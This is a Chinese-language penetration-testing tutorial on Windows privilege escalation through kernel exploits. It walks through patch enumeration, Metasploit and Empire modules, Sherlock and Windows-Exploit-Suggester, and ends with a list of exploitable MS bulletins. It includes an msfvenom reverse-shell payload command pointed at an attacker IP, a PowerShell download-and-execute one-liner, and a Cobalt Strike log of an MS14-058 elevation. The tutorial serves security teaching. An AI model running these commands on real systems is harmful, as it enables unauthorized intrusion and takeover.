前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >系统内核溢出提权

系统内核溢出提权

作者头像
重生信息安全
发布2020-09-25 18:05:02
7530
发布2020-09-25 18:05:02
举报
文章被收录于专栏:重生信息安全重生信息安全

文章前言

在后渗透测试阶段,权限提升是一个绕不开的话题,其中"系统内核溢出提权"因其利用便捷 成为了最为常用的方法,在使用该方法提权时我们只需要去查看目标系统中打了那些系统补 丁,之后去找补丁的"互补"补丁,并利用对应的提权类的漏洞实现权限提升,本篇文章主要 围绕"系统内核溢出提权"的一些方法、思路进行简易介绍~

权限查看

在获取到目标系统的shell后,我们需要先确认以下当前用户以及用户权限,这一点可以通过 在shell中输入"whoami"以及"whoami /groups"来确定:

代码语言:javascript
复制
whomai
whoami /groups

从上面的显示结果可以看到当前用户为"win­op8vb0nlure\al1ex",权限为"Mandatory Label\Medium Mandatory Level",而这里的"Mandatory Label\Medium Mandatory Level"是 一个标准的普通用户权限,而我们再提权阶段要做得就是将此处的"Medium Mandatory Level"提升为"High Mandatory Level"。

补丁查询

利用系统溢出漏洞进行提权的关键是通过查看系统的补丁信息来找寻缺失的、可以利用来提 权的补丁进行提权,下面介绍几种常见的补丁查询思路与方法

系统命令查看

在Windows操作系统中我们可以通过执行systeminfo来查看目标机器上安装的补丁信息:

代码语言:javascript
复制
systeminfo

从上图可以看到这里安装了三个补丁:

  • [01]: KB2534111
  • [02]: KB2999226
  • [03]: KB976902

同时我们也可以通过WMIC来快速查看当前系统安装的补丁信息:

代码语言:javascript
复制
wmic qfe get Caption,Description,HotFixID,InstalledOn

如果想要查询系统是否安装某一个特定的补丁,可以通过以下命令进行简易查询:

代码语言:javascript
复制
wmic qfe get Caption,Description,HotFixID,InstalledOn | findstr /c:"KB2534111"

既然已经确定了当前系统的补丁信息,那么后续如何利用呢?当然是去查找缺失的、可以利 用的补丁了!但是怎么找呢?不可能在茫茫大海中找吧?当然不是,这里推荐一个辅助网 站:https://bugs.hacking8.com/tiquan/

我们可以在"补丁号"选项框中输入当前系统的补丁信息,之后进行查询来获取当前系统的缺 失的、可以利用的补丁信息,这里以上面查询的补丁信息为例:

之后可以根据补丁来推荐相关的漏洞利用EXP,不过在使用EXP时还需要主要影响的操作系统:

关于提权类的EXP,这里推荐一个项目:

代码语言:javascript
复制
https://github.com/Al1ex/Heptagram/tree/master/Windows/Elevation

该项目源自SecWiki维护的Windows­kernel­exploit,但是由于原作者不再更新与维护所以后 期由笔者重新进行构建维护,同时也涵盖了Bypass UAC系列,目前还在不断的更新与完善 中,同时该项目也主要用于收集网络上公开的各大有价值的漏洞EXP/POC~

MSF框架查看

MSF框架中自带提权辅助功能模块——post/windows/gather/enum_pathes,该模块会根据 漏洞编号快速查找目标系统中的补丁信息,下面以目标主机为例做一个简单的演示:

首先,我们需要获取目标主机的一个Shell,这里我们再测试环境中直接通过MSFvenom来 生成Payload:

代码语言:javascript
复制
msfvenom ‐p windows/meterpreter/reverse_tcp LHOST=192.168.188.129 LPORT=4444 ‐f exe > shell.exe 

在MSF中设置监听:

目标主机中执行EXE

成功返回会话:

在Meterpreter中执行如下命令即可查看系统补丁信息(老版本的会给出可用的EXP, MSF5好像不提供了):

代码语言:javascript
复制
run post/windows/gather/enum_patches

于此同时,我们也可以通过执行以下命令来查看目标系统可用的漏洞,之后探寻提权EXP:

代码语言:javascript
复制
run post/multi/recon/local_exploit_suggester

Empire内置模块

Empire框架也提供了关于内核溢出漏洞提权的漏洞利用方法,下面进行简单演示:

代码语言:javascript
复制
usemodule privesc/powerup/allchecks 
execute

PS:总体来看效果不是很理想,不如MSF~

PowerShell脚本

Sherlock(https://github.com/rasta­mouse/Sherlock)

是一个在Windows下用于本地提权的 PowerShell脚本,目前包含了以下漏洞:

  • MS10­015 : User Mode to Ring (KiTrap0D)
  • MS10­092 : Task Scheduler
  • MS13­053 : NTUserMessageCall Win32k Kernel Pool Overflow
  • MS13­081 : TrackPopupMenuEx Win32k NULL Page
  • MS14­058 : TrackPopupMenu Win32k Null Pointer Dereference
  • MS15­051 : ClientCopyImage Win32k
  • MS15­078 : Font Driver Buffer Overflow
  • MS16­016 : 'mrxdav.sys' WebDAV
  • MS16­032 : Secondary Logon Handle
  • MS16­034 : Windows Kernel­Mode Drivers EoP
  • MS16­135 : Win32k Elevation of Privilege
  • CVE­2017­7199 : Nessus Agent 6.6.2 ­ 6.10.3 Priv Esc

该工具的利用也是较为简单,首先下载项目到本地,之后再终端调用Sherlock(获取 webshell的主机中直接上传即可):

代码语言:javascript
复制
Import‐Module .\Sherlock.ps1

当然也可以远程加载:

代码语言:javascript
复制
IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/rasta-mouse/Sherlock/master/Sherlock.ps1')

之后执行以下命令来列举当前系统中所有可利用的漏洞:

代码语言:javascript
复制
 Find‐AllVulns

当然你也可以搜索某一个特定漏洞,例如:

代码语言:javascript
复制
Find‐CVE20177199

根据Sherlock的说明目前CS已经可以实现" 导入模块——>查询单一漏洞——>直接提权 "的 一套流程了,下面是Github中的实例:

代码语言:javascript
复制
beacon> getuid
[*] Tasked beacon to get userid
[+] host called home, sent: 20 bytes 4 [*] You are Win7‐x64\Rasta

beacon> powershell‐import C:\Users\Rasta\Desktop\Sherlock.ps1  
[*] Tasked beacon to import: C:\Users\Rasta\Desktop\Sherlock.ps1  
[+] host called home, sent: 2960 bytes  
 
beacon> powershell Find‐MS14058  
[*] Tasked beacon to run: Find‐MS14058  
[+] host called home, sent: 20 bytes  
[+] received output:  
Title  : TrackPopupMenu Win32k Null Pointer Dereference  
MSBulletin : MS14‐058  
CVEID  : 2014‐4113  
Link  : https://www.exploit‐db.com/exploits/35101/  
VulnStatus : Appears Vulnerable  
   
beacon> elevate ms14‐058 smb  
[*] Tasked beacon to elevate and spawn windows/beacon_smb/bind_pipe  (127.0.0.1:
[+] host called home, sent: 105015 bytes  
[+] received output:  
[*] Getting Windows version...  
[*] Solving symbols...  
[*] Requesting Kernel loaded modules...  
[*] pZwQuerySystemInformation required length 51216  
[*] Parsing SYSTEM_INFO...  
[*] 173 Kernel modules found  
[*] Checking module \SystemRoot\system32\ntoskrnl.exe  
[*] Good! nt found as ntoskrnl.exe at 0x0264f000  
[*] ntoskrnl.exe loaded in userspace at: 40000000  
[*] pPsLookupProcessByProcessId in kernel: 0xFFFFF800029A21FC  
[*] pPsReferencePrimaryToken in kernel: 0xFFFFF800029A59D0  
[*] Registering class...  
[*] Creating window...  
[*] Allocating null page...  
[*] Getting PtiCurrent...  
[*] Good! dwThreadInfoPtr 0xFFFFF900C1E7B8B0  

PS:关于该Powershell的利用还有很多单一漏洞的查询,读者可以根据源码进行分析~

Windows Exploit Suggester

工具介绍

Windows­Exploit­Suggester(https://github.com/GDSSecurity/Windows­Exploit­Suggester ) 是受Linux_Exploit_Suggester的启发而开发的一款提权辅助工具,它是用python开发而 成,运行环境是python3.3及以上版本,且必须安装xlrd,其主要功能是通过比对systeminfo 生成的文件,从而发现系统是否存在未修复漏洞。

工具原理

Windows­Exploit­Suggester通过下载微软公开漏洞库到本地“生成日期+mssb.xls”文件,然 后根据操作系统版本,跟systeminfo生成的文件进行比对。微软公开漏洞库下载地 址:http://www.microsoft.com/en­gb/download/confirmation.aspx?id=36982 。同时此工具 还会告知用户针对于此漏洞是否有公开的exp和可用的Metasploit模块。

工具安装

安装依赖xlrd:

代码语言:javascript
复制
pip install xlrd

下载Windows­Exploit­Suggester项目到本地:

代码语言:javascript
复制
git clone https://github.com/AonCyberLabs/Windows‐Exploit‐Suggester

更新漏洞库

之后执行以下命令,自动从微软官网下载安全公告数据库,下载的文件会自动保存在当前目录下:

代码语言:javascript
复制
./windows‐exploit‐suggester.py ‐‐update

获取系统信息

之后在目标系统中获取systeminfo信息并将其保存到一个txt文件夹中:

代码语言:javascript
复制
systeminfo > sysinfo.txt

系统漏洞检索

之后将目标系统中的sysinfo.txt文件复制出来,到安装有Windows­Exploit­Suggester的主机 上去执行如下命令,查询系统中存在的可用漏洞信息,这里的参数d为指定漏洞库,也就是 之前跟新漏洞库后的xlsx文件:

代码语言:javascript
复制
./windows‐exploit‐suggester.py ‐d 2020‐09‐09‐mssb.xls ‐i sysinfo.txt

总体上效果还不错,挺让人满意的,不过该工具也有一个缺点——更新数据库后下载的数据 库最新的2017年的,有点局限。

补丁列表

最后给出一个常用的补丁列表信息,可能数据有点成旧哈~

代码语言:javascript
复制
#Security Bulletin #KB #Description #Operating System

CVE-2017-0213 [Windows COM Elevation of Privilege Vulnerability]  (windows 10/8.1/7/2016/2010/2008)

MS17-010  [KB4013389]  [Windows Kernel Mode Drivers]  (windows 7/2008/2003/XP)

MS16-135  [KB3199135]  [Windows Kernel Mode Drivers]  (2016)

MS16-098  [KB3178466]  [Kernel Driver]  (Win 8.1)

MS16-075  [KB3164038]  [Hot Potato]  (2003/2008/7/8/2012)

MS16-032  [KB3143141]  [Secondary Logon Handle]  (2008/7/8/10/2012)

MS16-016  [KB3136041]  [WebDAV]  (2008/Vista/7)

MS15-097  [KB3089656]  [remote code execution]  (win8.1/2012)

MS15-076  [KB3067505]  [RPC]  (2003/2008/7/8/2012)

MS15-077  [KB3077657]  [ATM]  (XP/Vista/Win7/Win8/2000/2003/2008/2012)

MS15-061  [KB3057839]  [Kernel Driver]  (2003/2008/7/8/2012)

MS15-051  [KB3057191]  [Windows Kernel Mode Drivers]  (2003/2008/7/8/2012)

MS15-010  [KB3036220]  [Kernel Driver]  (2003/2008/7/8)

MS15-015  [KB3031432]  [Kernel Driver]  (Win7/8/8.1/2012/RT/2012 R2/2008 R2)

MS15-001  [KB3023266]  [Kernel Driver]  (2008/2012/7/8)

MS14-070  [KB2989935]  [Kernel Driver]  (2003)

MS14-068  [KB3011780]  [Domain Privilege Escalation]  (2003/2008/2012/7/8)

MS14-058  [KB3000061]  [Win32k.sys]  (2003/2008/2012/7/8)

MS14-040  [KB2975684]  [AFD Driver]  (2003/2008/2012/7/8)

MS14-002  [KB2914368]  [NDProxy]  (2003/XP)

MS13-053  [KB2850851]  [win32k.sys]  (XP/Vista/2003/2008/win 7)

MS13-046  [KB2840221]  [dxgkrnl.sys]  (Vista/2003/2008/2012/7)

MS13-005  [KB2778930]  [Kernel Mode Driver]  (2003/2008/2012/win7/8)

MS12-042  [KB2972621]  [Service Bus]  (2008/2012/win7)

MS12-020  [KB2671387]  [RDP]  (2003/2008/7/XP)

MS11-080  [KB2592799]  [AFD.sys]  (2003/XP)

MS11-062  [KB2566454]  [NDISTAPI]  (2003/XP)

MS11-046  [KB2503665]  [AFD.sys]  (2003/2008/7/XP)

MS11-011  [KB2393802]  [kernel Driver]  (2003/2008/7/XP/Vista)

MS10-092  [KB2305420]  [Task Scheduler]  (2008/7)

MS10-065  [KB2267960]  [FastCGI]  (IIS 5.1, 6.0, 7.0, and 7.5)

MS10-059  [KB982799]   [ACL-Churraskito]  (2008/7/Vista)

MS10-048  [KB2160329]  [win32k.sys]  (XP SP2 & SP3/2003 SP2/Vista SP1 & SP2/2008 Gold & SP2 & R2/Win7)

MS10-015  [KB977165]   [KiTrap0D]  (2003/2008/7/XP)

MS09-050  [KB975517]   [Remote Code Execution]  (2008/Vista)

MS09-020  [KB970483]   [IIS 6.0]  (IIS 5.1 and 6.0)

MS09-012  [KB959454]   [Chimichurri]  (Vista/win7/2008/Vista)

MS08-068  [KB957097]   [Remote Code Execution]  (2000/XP)

MS08-067  [KB958644]   [Remote Code Execution]  (Windows 2000/XP/Server 2003/Vista/Server 2008)

MS08-025  [KB941693]   [Win32.sys]  (XP/2003/2008/Vista)

MS06-040  [KB921883]   [Remote Code Execution]  (2003/xp/2000)

MS05-039  [KB899588]   [PnP Service]  (Win 9X/ME/NT/2000/XP/2003)

MS03-026  [KB823980]   [Buffer Overrun In RPC Interface]  (/NT/2000/XP/2003)
本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2020-09-24,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 重生信息安全 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
相关产品与服务
网站渗透测试
网站渗透测试(Website Penetration Test,WPT)是完全模拟黑客可能使用的攻击技术和漏洞发现技术,对目标系统的安全做深入的探测,发现系统最脆弱的环节。渗透测试和黑客入侵最大区别在于渗透测试是经过客户授权,采用可控制、非破坏性质的方法和手段发现目标和网络设备中存在弱点,帮助管理者知道自己网络所面临的问题,同时提供安全加固意见帮助客户提升系统的安全性。腾讯云网站渗透测试由腾讯安全实验室安全专家进行,我们提供黑盒、白盒、灰盒多种测试方案,更全面更深入的发现客户的潜在风险。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档